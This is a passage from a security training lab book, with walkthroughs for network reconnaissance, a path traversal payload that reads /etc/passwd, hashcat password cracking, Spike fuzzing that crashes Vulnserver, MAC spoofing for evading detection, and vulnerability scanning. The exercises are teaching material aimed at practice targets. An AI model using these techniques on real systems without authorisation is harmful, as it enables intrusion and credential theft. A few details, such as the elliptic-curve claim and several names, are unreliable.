same functionality as the above IP Scanner. It can be downloaded for
Windows, Mac, and Linux from the following link:

https://angryip.org/

https://angryip.org/


Lab 24. Using ARP for Network
Reconnaissance

Lab Objective:
Learn how to use ARP for network reconnaissance.

Lab Purpose:
ARP stands for the Address Resolution Protocol. Its purpose is to map IP
addresses to MAC addresses. ARP is effective in finding all network-
connected devices as you cannot block ARP.

Network scanning activities may generate high level alarms in firewalls when
you are running on your local network. For this reason, it is recommended
that you inform your security/network administrator before starting the scan.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab. Some command features require
higher privileges to work. First of all, we have to be the “root” user using the
terminal:

sudo su –

Lab Walkthrough:

Task 1:
Arp-scan is the tool we will be using for the purpose of this lab and it comes
pre-installed on Kali Linux. To begin, we will first look at the help screen for
this tool by typing the following:



arp-scan -h

This will tell us a bit about the tool and provide us with some common tags
we can use.

Task 2:
We will now conduct a complete scan of our local network. We will need to
run the arp-scan as “root” to do this. Type the following command:

arp-scan –localnet

If you receive an error during this scan, double check that you are running it
as root.

Let’s take a look at the figure.

As a result of the scan, we detected 4 different network-capable devices. We
can see their MAC addresses and their corresponding IP addresses in
columns 2 and 3. The first 3 segments of MAC addresses are assigned to
hardware manufacturers by IEEE. arp-scan creates vendor information in
column 4 by comparison from its own database.

The last 3 segments in the MAC address are defined specifically for the
interface card produced by that manufacturer. They are permanently written
into interface cards. However, it is still possible to temporarily change these
addresses at the software level. As a matter of fact, arp-scan has the option to
change the MAC address for the selected card, which we will see later in this
lab. The MAC address of the network card used for querying is indicated at
number 5 in this figure.



Since MAC addresses have to be globally unique, copying them can cause
problems, so they are blurred.

Task 3:
To specify the interface and subnet which you want to scan the network with
and for, use the “-I” option followed by the name of the interface you want to
use. Here is what that would look like:

arp-scan -I eth0 192.168.1.0/24

In this scan, we have specified that we want to use the eth0 interface and we
want to scan a specific subnet. The IP address assigned to the interface card
does not have to be in the subnet to be scanned. It doesn’t even need to be
assigned an IP. See figure below:

Task 4:
If the interface is configured as trunk, it is possible to scan on specific



VLAN. Example for VLAN 10;

Task 5:
If you find unknown devices as a result of an arp scan, they are not
necessarly rouge devices. It simply means that the MAC adress is not in the
arp-scan vendor databases. To identify these devices, you can use an online
MAC finder site.

You can also update the arp-scan databases by executing the following
commands:

cd /usr/share/arp-scan
get-iab -v -u http://standards.ieee.org/develop/regauth/iab/iab.txt
get-oui -v -u http://standards.ieee.org/develop/regauth/oui/oui.txt

If there are cards in your network whose MAC addresses have been changed
intentionally, you can manually add a line to “/usr/share/arp-scan/mac-
vendor.txt” file to identify them. For our example:

http://standards.ieee.org/develop/regauth/iab/iab.txt
http://standards.ieee.org/develop/regauth/oui/oui.txt


060027    SPOOFED-NIC TECHNOLOGIES LLC

Task 6:
If we want to analyze the responses from the scanned devices later with
analysis tools such as tcpdump, wireshark, it is possible to save them in a
separate file.

arp-scan --localnet -W results.pcap
tcpdump -nr results.pcap

There are many things that an ARP scan can uncover, making it a very useful
tool, including the following:

Discovery of all IPv4 network-connected devices.
Quickly identify and map IP addresses to MAC addresses.
Find duplicate IP addresses.
Isolate and locate rogue devices.
Identify devices by NIC vendor.



Lab 25. Using Route to Display
Network Information on Linux

Lab Objective:
Learn how to use route to display network information on Linux.

Lab Purpose:
Route is used when you want to work with the IP/kernel routing table. It is
typically used to setup static routes to specific networks of hosts via an
interface. It is used for updating or showing the IP/kernel routing table.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Some route command features may require high privileges to work. First of all,
we have to be the “root” user using the terminal:

sudo su –

Lab Walkthrough:

Task 1:
In order to use route, you may need to install it. It comes in a package called
net tools, and it can be installed on Kali Linux with the following command:

Sudo apt-get install net-tools

Once this is installed, we will first view the help screen using the following
command:



route -h

We will then use a simple command to view our IP/kernel routing table:

route

Task 2:
If we want to display the previous routing table in ful numeric form, we can
use this command:

route -n

This is useful for more accurately determining values in the routing table.



Task 3:
We can add a default gateway by executing the following command:

route add default gw xxx.xxx.xxx.xxx

Replace the x’s with the your gateway IP. This assigns a gateway address
through which all packets that do not belong to the network are forwarded.

Task 4:
To view the kernel’s routing cache information, we can use the following
command:

route -Cn

The cache is used to route the packets faster. This command will print all
saved cache information.

Task 5:
We can specify to reject routing to a specific host or network using this
command:

route add -host 192.168.1.51 reject

If we attempt to ping the above IP address, we will be presented with a
“Network is unreachable” notice.



Task 6:
If we want to get the details of the kernel/IP routing table, we can use the
following ip command:

ip route

This will detail the kernel/IP routing table.

Task 7:
In some instances, we may wish to delete the default gateway, which we can
achieve by running this command:

route del default

NOTE: this may lead to some malfunctioning of your internet connection and
it is important you take note of your default gateway before executing this
command.

Task 8:
To get the output in relation to IPv4 and IPv6, we can use the following
commands respectively:

ip -4 route

The above will display the entries with IPv4 only

ip -6 route



The above will display the entries with IPv6 only



Lab 26. Using Scanless for Easy
Anonymous Port Scanning

Lab Objective:
Learn how to use Scanless to anonymously scan a target.

Lab Purpose:
Scanless is a script which makes use of online scanners to allow you to scan a
target anonymously. It provides a number of scanners which you can use to
scan your target. The different scanners will prioritise different ports, making
it worthwhile to run a number of scans using the different tools.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We will need a tool called pip to download this tool. You may already have it
installed, but if not, use the following command to install it:

sudo su -
apt install pip

Once pip is installed, we can easily install the scanless tool. Simply type the
following:

pip install scanless



The tool will install quickly. After the installation, for the changes to take
effect, close the current terminal and open a new one. Be root user before
continuing to futher tasks.

Task 2:
We will begin by first viewing the help screen by typing the following:

scanless -h

We will then look at the list of scanners available to use by typing the
following:

scanless -l

This will list the different scanners and the sites where they are available.

Task 3:
You can set the target you wish to scan with a command such as the
following:

scanless -t [Target hostname or IP] -s [Scanner Name]

We can select one of the scanner types we listed in the previous command
and place it in square brackets. It is important you have root permission from



the target before you initiate a scan.

Also, you can use the following site as a target as it has been setup for the
purpose of scanning:

scanme.nmap.org

We will now run through a number of scans using different tools to determine
how each tool priortises different ports. Here is a scan using the tool
“hackertarget”:

scanless -t scanme.nmap.org -s hackertarget

This is a scan using spiderip:

scanless -t scanme.nmap.org -s spiderip



This is a scan using t1shopper:

scanless -t scanme.nmap.org -s t1shopper



Each of these tools will priortise scanning for different ports and, as such,
they will provide different information.

Unlike others, “ipfingerprints” also estimates OS for the target, and reports
results with estimation percentages.

scanless -t scanme.nmap.org -s ipfingerprints



Task 4:
If we want to use all of the scanning tools available to us to get a more
comprehensive scan of the target, we can use the following command:

scanless -t scanme.nmap.org -a



Lab 27. Directory Traversal

Lab Objective:
Learn how to test a site for a directory traversal vulnerability.

Lab Purpose:
A directory traversal vulnerability is when a site sends a request for a file, say
an image, to the webserver and this request can be captured by an attacker.
They can then manipulate this request to navigate out of the directory where
the image is stored into another directory. This allows the attacker to move
through the webserver and look at the different files stored there.

Lab Tool:
Kali Linux or Windows

Lab Topology:
You can use Kali Linux in a VM or Windows for this lab.

Lab Walkthrough:

Task 1:
We will be using Burp Suite for this lab. It comes pre-installed on Kali Linux
but may need to be updated using the command: sudo apt upgrade burpsuite

We strongly recommend you look at a previous lab, lab 7, we did on Burp
Suite.

Task 2:
In this lab, we will be using the Port Swigger Web Security Academy in
order to demonstrate a directory traversal vulnerability. They provide some
vulnerable labs where you can practice these skills. You will need to signup



(for free) in order to do this:

https://portswigger.net/web-security

Task 3:
Start Burp Suite. Turn intercept mode off. Then, login into
https://portswinger.com with your credentials.

Start the path-traversal-lab there:

https://portswigger.net/web-security/file-path-traversal/lab-simple

Once you have started the lab, you will be presented with a fake shop, as
depicted in the screenshot.

Our goal for this lab is to take advantage of a directory traversal vulnerability
in order to read the “/etc/passwd” file.



Task 4:
We can now begin our attack. With Burp Suite open and intercept enabled,
click on one of the products in this fake shop.



Click the forward button until you get the page in the figure below:

Once you capture this request, you should right-click and press “Send to
Repeater”. This will allow us to send the request and analyse the server’s
response in real-time. Navigate to the Repeater tab and continue with the next
steps.

Notice the first line where the webpage is requesting the image file from the
webserver? This is where we will perform our directory traversal attack.

You should know that ../ is used to step up through a directory in both



Windows and Linux. The image file here is stored in the directory
/var/www/images. If we want to escape out of the /images directory and
access the /www directory, we can use ../ to do this.

Similarly, we can use ../../../ to escape out of the /images directory, then out
of the /www directory and finally out of the /var directory. We will then be in
the root directory.

Since we are in the root directory, we can now request any file we like from
the webserver, as long as we know its location. The “passwd” file is stored in
the following location: /etc/passwd.

Task 5:
So, in order to access the root directory and then the paswd file, this is the
full path we want to specify:

../../../etc/passwd

We will replace the 48.jpg file in the request above with this path, and the
webserver will respond with the file we requested. This looks like the
following:



Click the Send button on the up-left side to send this request to the
webserver. You will see the following response on the right side of the
screen.



As you can see, we were successful in accessing the passwd file and have
now completed the lab.



Lab 28. Gathering DNS Information
with Dnsenum

Lab Objective:
Learn how to gather DNS information on a target using dnsenum.

Lab Purpose:
Dnsenum is a tool used for the locating of all DNS servers and DNS entries
for a target. DNS enumeration is an important tool to have as it allows us to
gather critical information about the organisation, such as usernames,
computer names, IP addresses, etc.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
Dnsenum comes pre-installed on Kali Linux, so we will begin by looking at
the help screen for this tool by using this command:

dnsenum -h

Our first target will be google.com. To perform a comprehensive DNS
enumeration on this site, use the following command:

dnsenum -enum google.com



This will perform a comprehensive information gathering scan on the domain
google.com. It will provide us with information such as the different host IP
addresses, name servers, mail servers, sub domains, and will even attempt
some domain takeovers.

It will also perform automatic brute forcing of some of the most common
subdomains, such as admin.google.com, and provide you with this
information. This is very useful information as it gives you a better idea of
the attack surface of a target.



Task 2:
We can also perform a brute force search for all subdomains associated with
a site by using a custom file. This allows us to search for any subdomains we
deem to be valuable. This can be done using the following sample command:

dnsenum -f list.txt -r google.com



Lab 29. How to Connect to an
Internal Network Using OpenVPN

Lab Objective:
Learn how to use OpenVPN to connect to an internal network.

Lab Purpose:
OpenVPN is an open-source VPN protocol and VPN software which enables
us to establish secure VPN connections. It is a very secure protocol and is
offered by most VPN providers for this reason. It works across multiple
platforms, making it a versatile and useful tool.

Lab Tool:
Kali Linux

Lab Topology:
You can use a Kali Linux VM for this lab. In this lab we need another Linux
machine to make VPN connections through. You can find a prebuilt Ubuntu
Server image on https://www.osboxes.org/ubuntu-server/ for this purpose.

https://www.osboxes.org/ubuntu-server/


Download and import to your virtualization platform and run.

Lab Walkthrough:

Task 1:
First, we will set up a newly created Ubuntu Linux machine as a OpenVPN
server and establish a simple one-to-one connection. We will design the Kali
Linux VM machine as a local, and the Ubuntu Linux VM as a VPN server
that we will connect to. Both have a direct connection to the internet for now.

First, we open a terminal window from the Kali Linux machine and connect
to the Ubuntu Linux machine via SSH:

ssh osboxes@192.168.1.206

In this instance, the IP address of our Ubuntu Linux machine is
192.168.1.206.

Then we update the OpenVPN package:

sudo apt update
sudo apt upgrade openvpn

This command will find the package with its dependent packages from repos
on the internet and install it on the machine if the package is not installed. If
there is an old version, it will find and install the most recent version. Let’s
see which version installed on our Ubuntu VM:

openvpn --version

Since following processes will require privileges, we will switch to root user.

sudo su –

OpenVPN’s settings files are located under the “/etc/openvpn” folder. There are
two empty folders named “server” and “client” here. Since we will configure
Ubuntu as a VPN server, we will create all our files under the “server”
directory. Copy the text lines below and paste them into the terminal screen
of Ubuntu. Then, hit enter.

mailto:osboxes@192.168.1.206


cat << EOF > server.conf

local 192.168.1.206
port 1194
proto udp4
dev tun
keepalive 10 120

topology subnet
server 10.8.0.0 255.255.255.0

verb 3
auth-nocache
user nobody
group nogroup
explicit-exit-notify.

auth SHA512
persist-key
persist-tun
cipher AES-256-GCM
tls-server
remote-cert-eku “TLS Web Client Authentication”

ca ca.crt
cert server.crt
key server.key
tls-crypt tc.key
dh none

EOF

A new file named “server.conf” should have been created here. Let’s check
the file content:

cat server.conf

Let’s see what some of the lines do.

On the top line we see:

local 192.168.1.206



This is our server’s IP address. We will connect to this IP address via VPN
from client machine.

The next two lines indicate the communication protocol and port number.
This comes by default in a newly installed OpenVPN. This setting should be
the same on both the server and the client.

port 1194
proto udp4

The subnet information of our network, which will be established end-to-end
as encrypted, is specified in the following lines:

topology subnet
server 10.8.0.0 255.255.255.0

By default, this subnet comes as 10.8.0.0/24, but if there is a subnet conflict in
the current network, we can change it.

user nobody
group nogroup

These two lines specifies the user and group that will owner the “OpenVPN”
process.

cipher AES-256-GCM

This line shows the preferred mechanism for encryption. It should be the
same on both the server and the client.

tls-server

Indicates the TLS in this machine will be in server role.

remote-cert-eku “TLS Web Client Authentication”

An attribute that we require to see in the client certificate. Otherwise, we will
be denied to connect our server.



ca ca.crt

Root certificate file. OpenVPN will use this as a reference to verify the
client’s certificate signature. We will create this in our next lab.

cert server.crt
key server.key

The certificate and key pair OpenVPN will use when communicating with
client. We will create it later.

tls-crypt tc.key

OpenVPN will use this when encrypting and authenticating all control
channel packets.

dh none

File containing Diffie Hellman parameters in pem format (required for tls-
server only). We will not create such a file in this instance.

OpenVPN has many other parameters, but since explaining them one by one
will be beyond the scope of this lab, we have only explained the most
necessary ones.

Task 2:
In the previous task, we saw some external files in the config file. OpenVPN
will not work until these are created. We will produce them in this mission.

Be sure we are working in this directory: “/etc/openvpn/server”

Update the openssl package:

apt upgrade openssl

First, we must create a certificate and key file of Root Certificate Authority
(Root CA). Copy and paste the text below into the terminal screen in one
line:



openssl req -x509 -newkey rsa:4096 -keyout ca.key -sha256 -days 3650 \

-set_serial 00 -out ca.crt -subj “/C=UK/ST=UK/L=LONDON/O=101LABS/CN=101 Labs Root
CA” -addext nsComment=”101 LABS Class 1 ROOT CA”

You will be asked to enter a password twice. Set a strong password and write
it down for future reference. We will use this password when signing server
and client certificates later.

After a quick “openssl” command job, two files are created on same
directory: ca.key and ca.crt. To get information about a certificate, use this
command on the terminal screen:

openssl x509 -in ca.crt -text -noout

Observe information areas. Our Root certificate is for 10 years. It has an
encryption depth of 4096 bits. It takes more time to generate a higher bit
depth certificate, but this gives us a harder key pair to crack. We will copy
“ca.crt” file to the client to use openvpn operations.

Then, copy and paste the text below to terminal screen:

cat << EOF > x509-extensions.cnf
[v3_vpn_server]
basicConstraints = CA:FALSE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer:always
extendedKeyUsage = serverAuth
keyUsage = digitalSignature,keyEncipherment



nsComment= “OpenVPN Server Signed Certificate”

[v3_vpn_client]
basicConstraints = CA:FALSE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer:always
extendedKeyUsage = clientAuth
keyUsage = digitalSignature,keyEncipherment
nsComment= “OpenVPN Client Signed Certificate”
EOF

This will create a file named “x509-extensions.cnf”, which we will use later.

This file contains two separate configs. The first holds the server certificate
attributes, while the second holds the client certificate attributes. OpenVPN
will look into this info during operation.

Task 3:
Let’s create a server certificate and key pair, and sign with our Root CA key.
Copy and paste the text below to the terminal screen in one line:

# Create a Certificate Signing Request (CSR) with Key for OpenVPN Server
openssl req -new -newkey rsa:2048 -nodes -keyout server.key \
-out server.csr -subj “/C=UK/ST=UK/L=LONDON/O=LAB101/CN=SERVER”



Two files, named server.csr and server.key, will be created. Observe
information in the server.csr file:

openssl req -in server.csr -text -noout

As you can see, there is no expiry date. Only bit depth is specified. The
expiry date and any other property of the certificate are permanently
determined by the Root CA. Now, let’s give this server.csr file to the Root
CA for signing. Copy and paste the text below to the terminal screen in one
line:

# Sign the CSR and create server.crt file which signed by Root CA
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key \
-set_serial 01 -sha256 -days 730 -text -out server.crt \
-extensions v3_vpn_server -extfile ./x509-extensions.cnf

You will be prompted for a password for the root CA. Now, check the
directory again. We have server.crt file now. Let’s check signing and other
information which is embedded by Root CA:

openssl x509 -in server.crt -text -noout



We see data similar to the root CA certificate. The parts that will be
important during certificate validation are shown in colour in the figure. Note
that “modulus” sections have been cropped to simplify the figure above.

Task 4:
Finally, it is time to generate the client certificate and let the Root CA
approve it. Copy and paste the text below to the terminal screen in one line:

# Create a Certificate Signing Request (CSR) with Key for OpenVPN Client
openssl req -new -newkey rsa:2048 -nodes -keyout client.key \
-out client.csr -subj “/C=UK/ST=UK/L=LONDON/O=LAB101/CN=CLIENT”

Two files, named client.csr and client.key, will be created. Then, give
client.csr file to the Root CA for signing. Copy and paste the text below to
terminal screen in one line:

# Sign the CSR and create client.crt file which signed by CA
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key \
-set_serial 02 -sha256 -days 365 -text -out client.crt \



-extensions v3_vpn_client -extfile ./x509-extensions.cnf

Again, you will be prompted for a password for the root CA. Now, check the
directory. We should have a client.crt file now. Let’s check signing and other
information which is embedded by Root CA:

openssl x509 -in client.crt -text -noout

We will use this certificate with associated keys on the Kali Linux machine,
to use with OpenVPN. Copy those files to Kali Linux machine via the secure
way, SCP.

Task 5:
There is one file to be created in Ubuntu Server:

“tc.key”.



Copy and paste the command below to the terminal screen in one line:

openvpn --genkey --secret tc.key

Now, we have a “tc.key” file. Also, this file will be copied to the Kali Linux
machine via a secure way.

What about the dh.pem file? Since we’ve configured all the certificates to use
Elliptic Curve Cryptography, there is no need for a Diffie-Hellman seed file
in this instance.

The server side of our OpenVPN installation is done!

Task 6:
Now, we will prepare the OpenVPN client which is Kali Linux. We will
follow the steps similarly to how we followed them while preparing the
server. Open a terminal screen in Kali VM, then type this command:

sudo su –

Since following processes will require privileges, we switch to “root” user.
We must then be sure that openssl and openvpn packages have been installed
with the most up-to-date versions in the client’s machine:

apt install
apt upgrade openssl openvpn

Remember, there are two empty directories in “/etc/openvpn”, named
“server” and “client”, here. Since we will configure our Kali Linux machine
as a VPN client, we will create all our files under the “client” directory. Copy
the text lines below and paste them into the terminal screen of Ubuntu. Then,
hit enter:

cat << EOF > client.conf

remote 192.168.1.206 1194 udp4

resolv-retry infinite

client



dev tun
nobind

verb 3
auth-nocache
user nobody
group nogroup

auth SHA512
persist-key
persist-tun
cipher AES-256-GCM
tls-client
remote-cert-eku “TLS Web Server Authentication”

ca ca.crt
cert client.crt
key client.key
tls-crypt tc.key
dh none

EOF

A new file named “client.conf” should have been created here. Let’s check
the file content;

cat client.conf

See what some of the lines do:

On the top line, we see:

remote 192.168.1.206 1194 udp4 

We will connect to this IP address or hostname given, via VPN from our Kali
Linux machine. Port number and protocol type are placed at the end of the
line.

resolv-retry infinite

Ensures it never gives up trying to connect to the server, and is useful for
unreliable internet connections and laptops.



client

Tells openvpn to act as a client.

user nobody
group nogroup

These two lines specify the user and group that will be the owner of the
“openvpn” process.

cipher AES-256-GCM

This line shows the preferred mechanism for encryption. It should be the
same on both the server and the client.

tls-client

Indicates that the TLS in this machine will be in the client role.

remote-cert-eku “TLS Web Server Authentication”

Attribute that we require to see in the server certificate. Otherwise, we will be
denied connection to the remote server.

The remaining parameters have been explained in Task 1.

Task 7:
Now, let’s copy the other files mentioned in the “client.conf” file to our Kali
machine. The first is the “ca.crt” file, which we created in Task 1. We also
created the client certificate and key pair in Task 4, and the tc.key file in
Task5. We will send them all to our Kali machine with scp.

Start SSH service in the Kali machine with this command in the terminal:

sudo systemctl start ssh

Switch to the Ubuntu Linux machine’s terminal screen. Be sure we are in the
“/etc/openvpn/server” directory, as our created files are left in there. Type these
commands to transfer the files to the Kali machine:



cd /etc/openvpn/server
sudo scp ca.crt client.crt client.key tc.key kali@192.168.1.28:~/

In this instance, our Kali machine has an IP address of 192.168.1.28; replace
this with yours.

All four files are transferred to the Kali machine in a secure way. Then, move
the files to the “/etc/openvpn/client” directory in the Kali machine. Change
ownership to root user and be sure they have proper access modes. As you
can see, all our “key” files must be private except root user.

sudo mv -f ca.crt client.crt client.key tc.key /etc/openvpn/client/
cd /etc/openvpn/client/
sudo chown root: *
sudo chmod 0600 *.key

Since we have these certificates, the VPN server we will connect to will not
ask for any other credentials.

The client side of our OpenVPN installation is done!

Task 8:

mailto:kali@192.168.1.28:~/


Now, time to connect the two machines with VPN. Switch to server machine
(Ubuntu), type these commands on the terminal screen:

cd /etc/openvpn/server
sudo openvpn --config server.conf

Our VPN server starts and awaits client connections. 10.8.0.1 is the virtual IP
address of our server. This server also offers DHCP address space to their
clients, which starts from 10.8.0.2.

Switch to client machine (Kali), and type these commands on the terminal
screen:

cd /etc/openvpn/client
sudo openvpn --config client.conf



Our OpenVPN client has started successfully. 10.8.0.2 is our virtual IP
address, which is attached to tun0 interface. Logs show that all certificates
have been signed by authorized Root CA and has required attributes such as
“TLS Web Server Authentication”.

Now, try to ping the other side. Open a separate terminal screen, then type
these commands:



After the connection is established, logs like the following are generated on
the VPN server side:



If connecting to an internal network, such as that of a hacking site like
HackTheBox or TryHackMe, we will need an OpenVPN package file. Many
VPN servers will provide the client.conf file specially prepared for their
system for their convenience.



Lab 30. How to Crack Passwords
with Hashcat

Lab Objective:
Learn how to use Hashcat to crack passwords.

Lab Purpose:
Hashcat is a password cracker used to crack password hashes. A hash is a
one-way function that takes a word or string of words and turns them into a
fixed length of random characters. This is a much more secure method of
storing passwords rather than storing them in plain text. It is not reversible.

Hashcat attempts to crack these passwords by guessing a password, hashing
it, and then comparing the resulting hash to the one it’s trying to crack.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will create a set of hashes and then use a dictionary to crack
these hashes. The first step is to create the hashes. Open a terminal and use
the following command to create a new txt document filled with some
hashes:

cat << EOF > target_hashes.txt

dc647eb65e6711e155375218212b3964



eb61eead90e3b899c6bcbe27ac581660
958152288f2d2303ae045cffc43a02cd
2c9341ca4cf3d87b9e4eb905d6a3ec45
75b71aa6842e450f12aca00fdf54c51d
031cbcccd3ba6bd4d1556330995b8d08
b5af0b804ff7238bce48adef1e0c213f
EOF

These hashes comprise 7 different password which we will attempt to crack.

Task 2:
We can now open hashcat. We will begin by viewing the help screen using
“hashcat -h”.

hashcat -h | more

There are many pages. You can go to each next page by pressing the Space
key. Press ctrl + c when you want to exit.

The two most important options available to us when using this tool are the
“hash type” and “attack mode”.

Hashcat can attempt to crack numerous different hash types, which can be
seen from the screenshot below:



Task 3:
The next step is to choose the wordlist we will use for cracking the hashes.
We will be using the “rockyou.txt” file. Type the following to locate the file:

locate rockyou.txt

If the file has a .gz extension, it means it is a zipped file and we will first need
to unzip it using gunzip. To do this, navigate to the directory where the file is
stored and then type the following:

gunzip rockyou.txt.gz

This will unzip the file and provide us with the required .txt file.



Task 4:
Navigate back to the home directory by typing cd. We are now ready to begin
the attack.

We will use the following command to crack the password hashes:

hashcat -m 0 -a 0 -o cracked.txt target_hashes.txt /usr/share/wordlists/rockyou.txt

Let’s break down each of these options.

The -m 0 option tells hashcat that we are attempting to crack
MD5 hash types

The -a 0 option tells hashcat we are using a dictionary attack
The -o cracked.txt option is creating the output file for the

cracked passwords
The target_hashes.txt is the file containing the hashes
The /usr/share/wordlists/rockyou.txt is the wordlist we will use

for this dictionary attack



Task 5:
When the attack has finished, open the cracked.txt file using the following
command:

Cat cracked.txt

We can see the hash of each password cracked and the plaintext password
beside it. Hashcat cracked 5 out of the 7 hashes. The remianing 2 passwords
were not contained in the wordlist and so were not cracked.

If you look at the details of the attack, we can see that hashcat ran through
over 4 million password hashes in 1 second. This is why having a secure
password is very important to prevent your details being compromised in a



security breach.



Lab 31. Fuzzing with Spike

Lab Objective:
Learn how to use Spike to fuzz a server.

Lab Purpose:
Spike is an API which enables us to quickly develop stress tests of a protocol
or application of our choosing. Spike gives us the ability to manipulate the
way a service receives data, which may result in the protocol or application
breaking.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:
I will be using both Kali Linux and Vulnserver for this lab. Vulnserver is a
server that has been intentionally built to be vulnerable. You should only
deploy it on networks and machines you trust. Download vulnserver on your
windows machine here: https://github.com/stephenbradshaw/vulnserver

https://github.com/stephenbradshaw/vulnserver


Once this is downloaded, extract the files to a location of your choosing. No
compilation is needed. Then, click on the “vulnserver.exe” file to load the server.
A command prompt will open with vulnserver running.

Task 2:
The next step is to go to Kali and open a terminal. We will now try to connect
to Vulnserver using netcat. Vulnserver runs on port 9999 by default. We can
connect to it using the following command:

nc 192.168.1.128 9999



We can see the available commands supported by the server.

Task 3:
The next step is to locate the auditing scripts used by Spike. These scripts end
with a .spk extension. We can find them in Kali by typing the following
command:

locate .spk

Each of these scrpits will audit various protocols and attempt to break them.
In this lab, we will be using TCP as we are auditing a server. We will use a
basic script to send random data over TCP to our vulnerable server.

Navigate to the Kali Start Menu in the top left, find the “Vulnerability
Analysis” category and click on “Fuzzing Tools”. You will see a Spike script
called “spike-generic_send_tcp”. Click on this script and you will be presented
with some help information on how this script works.



We will need to include the following bits of information for this script to be
successful:

Target IP address
Port number
A spike script
SKIPVAR and SKIPSTR values

We will be setting the last 2 variables (SKIPVAR, SKIPSTR) to 0 as they are



not needed for this lab. let’s try using one of these built in scripts on our
server by typing the following:

generic_send_tcp 192.168.1.123 9999 /usr/share/spike/audits/SMTP/smtp1.spk 0 0

This is the result on our server:

As you can see, this spike is sending random values to the target protocol
(SMTP). In this case our server was not be able to handle this load. Check the
content of smtp1.spk script. You will see a series of SMTP commands.

Task 4:
We will now write our own script. Change to kali user’s home directory and
paste this text in the command line:

cat << EOF > spike-trun-audit.spk
s_readline();
s_string(“TRUN |”);
s_string_variable(“COMMAND”);
EOF



We created a script called “spike-trun-audit.spk” in our home directory. This
script will be targeting the TRUN commands on the Vulnserver. This will
read the banner the server sends, simulate the user sending the TRUN
command, and randomize the user input with the TRUN command.

Once this is completed, we can target the server with our custom script:

generic_send_tcp 192.168.1.123 9999 spike-trun-audit.spk 0 0

If you attempt to return to the Vulnserver, you will find that it has crashed.
We have successfully broken a protocol running on the server, resulting in
the server crashing as it is unable to handle this data. We now know that the
TRUN command on this server is vulnerable!



Lab 32. Spoofing your MAC
Address with Macchanger

Lab Objective:
Learn how to use macchanger to spoof your MAC address.

Lab Purpose:
Macchanger is a tool which allows us to change our network card’s hardware
MAC address to a random address. This is useful when performing
penetration tests or other audits in order to evade detection.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
I will be using Kali Linux for this lab as macchanger comes pre-installed on
Kali. We will begin by viewing the help screen for this tool by typing the
following:

macchanger -h

We will first check what our current MAC address is using the following
command:

macchanger -s eth0



Task 2:
We must first turn off the interface we are going to change the MAC address
for, otherwise the tool will not work. To do this, use the following command:

ifconfig eth0 down

We can now set a random MAC address for this interface by executing the
following:

macchanger -r eth0

We can now bring our interface back up using this command:



ifconfig eth0 up

Finally, we can view our MAC address for this interface again to confirm that
it has been changed, using this command:

macchanger -s eth 0

Task 3:
We can also change our MAC address to a specific address if we want to
mascarade as a specific device. There are actually 4 sets of Locally
Administered Address Ranges that can be used on your network without fear
of conflict, assuming no one else has assigned these on your network:

x2-xx-xx-xx-xx-xx
x6-xx-xx-xx-xx-xx
xA-xx-xx-xx-xx-xx
xE-xx-xx-xx-xx-xx

We can do this using the following comands:

ifconfig eth0 down
macchanger -m d4:b1:10:d8:57:73 eth0



ifconfig eth0 up

macchanger -s eth0

Task 5:
We can use the “-l” option to find the MAC address prefix of specific
hardware vendors, allowing us to mascarade as a device from one of these
vendors:

macchanger -l



Task 6:
To revert to our origional permanent MAC address, we can use the following
set of commands:

ifconfig eth0 down
macchanger -p eth0

ifconfig eth0 up



Lab 33. Perform a Network
Vulnerability Scan with OpenVAS

Lab Objective:
Learn how to use OpenVAS to perform a quick network vulnerability scan.

Lab Purpose:
OpenVAS is an open-source vulnerability scanner which can test a system for
security vulnerabilities.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
I will be using Kali Linux for this lab. To begin, we will first need to
download OpenVAS. This can be done using the following command:

sudo apt install openvas

Once it is installed, we can view the help screen for this tool by typing the
following:

openvas -h



Task 2:
OpenVAS recently changed its name to Greenwood Vulnerability Manager
(GVM). Therefore, to start this tool, we will need to type the following:

sudo gvm-setup



This will download and install all of the necessary plugins for the tool to
work. This tool has a very large database and may take a while to download.

When the installation is finished, the password specified for the user “admin”
will appear on the last page of terminal screen. Copy this and paste it into a
file. This will be necessary when connecting to the OpenVAS page.

Now, we can check if our installation has been completed correctly using the
following command:

sudo gvm-check-setup

Once this command displays that the installation is OK, reboot Kali Linux to
use the tool.

Task 3:
To start the tool we will use the following command:



sudo gvm-start

This may take a minute to load up correctly. Once completed, a firefox will
start with the address https://127.0.0.1:9392. Accept the warning for the self-signed
certificate and you will be presented with a login screen. Use the password
you saved previously and login as “admin” with this password. We are now
at the OpenVAS dashboard.

Task 4:
In this lab, we will run a vulnerability scan of our home network. To do this,
hover over the Scans tab and click on Tasks. This will bring you to the Tasks
dashboard. To begin a quick scan, click on the wand icon on the top left hand
corner and select the Advanced Task Wizard option.



Here, it is very easy for us to setup a simple scan of our network. Give your
task a name and then input the subnet of your local network. Once this is
done, simply click create. This task will be created and will initiate
immediately. The task itself will take a bit of time to complete as it performs
a comprehensive scan of your network.



Task 5:
When the scan is complete, we can view the findings by hovering over the
Scans tab at the top of the screen and clicking on Results from the dropdown
menu. This will display a summary of all the vulnerabilities found by
OpenVAS. If you click into each of these findings, you will find a detailed
description of each of the vulnerabilities found and how they can be fixed.





Lab 34. Automate WordPress
Scanning with Wpscan

Lab Objective:
Learn how to use wpscan to automatically scan WordPress sites for
vulnerabilities.

Lab Purpose:
Wpscan is an open-source WordPress security scanner. It can be used to scan
any WordPress to find vulnerabilities within the WordPress core as well as
popular WordPress plugins and themes. wpscan uses the wpvulndb.com to
check the target for known vulnerabilities.

Lab Tool:
Kali Linux

